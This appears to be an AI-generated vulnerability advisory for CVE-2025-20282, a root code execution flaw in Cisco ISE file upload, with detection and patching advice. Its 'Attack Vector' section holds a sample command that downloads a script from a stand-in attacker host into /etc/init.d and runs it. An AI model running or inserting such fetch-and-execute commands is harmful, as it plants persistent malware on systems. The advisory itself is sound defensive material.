CVE-2025-20282 Overview
A vulnerability in an internal API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device and then execute those files on the underlying operating system as root.
Critical Impact
This vulnerability allows for remote code execution with root privileges.
Affected Products
- Cisco Identity Services Engine 3.4.0
- Cisco Identity Services Engine 3.4.0 Patch 1
- Cisco Identity Services Engine Passive Identity Connector 3.4.0
Discovery Timeline
- Not Available - Vulnerability discovered by Not Available
- Not Available - Responsible disclosure to Cisco
- Not Available - CVE CVE-2025-20282 assigned
- Not Available - Cisco releases security patch
- 2025-06-25T17:15:37.490 - CVE CVE-2025-20282 published to NVD
- 2025-06-26T20:35:33.577 - Last updated in NVD database
Technical Details for CVE-2025-20282
Vulnerability Analysis
This vulnerability is due to a lack of file validation checks that would prevent uploaded files from being placed in privileged directories on an affected system. An attacker could exploit this vulnerability by uploading a crafted file to the affected device. A successful exploit could allow the attacker to store malicious files on the affected system and then execute arbitrary code or obtain root privileges on the system.
Root Cause
Improper file validation in the internal API of Cisco ISE and Cisco ISE-PIC.
Attack Vector
The attacker does not need authentication and can execute the attack over the network, exploiting the API vulnerability remotely.
# Example exploitation code (sanitized)
wget http://malicious.example.com/malware.sh -O /etc/init.d/malicious.sh
chmod +x /etc/init.d/malicious.sh
/etc/init.d/malicious.sh
Detection Methods for CVE-2025-20282
Indicators of Compromise
- Unusual files in privileged directories /etc/init.d/
- Unfamiliar network connections from ISE servers
- Unexpected process executions
Detection Strategies
Monitoring file system changes, especially in critical directories, and analyzing unusual outbound network traffic patterns from devices running Cisco ISE.
Monitoring Recommendations
Implement real-time monitoring with SentinelOne to detect unauthorized file uploads and executions, enabling quick identification and response to suspicious activities.
How to Mitigate CVE-2025-20282
Immediate Actions Required
- Immediately apply the latest security update from Cisco
- Monitor network traffic and file system changes
- Isolate affected systems if potential compromise is detected
Patch Information
Cisco has released patches for the affected versions as detailed in their security advisory.
Workarounds
Disable the vulnerable API endpoints if applicable, or restrict access to the API to trusted hosts only.
# Configuration example to restrict network access
iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -j DROP
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
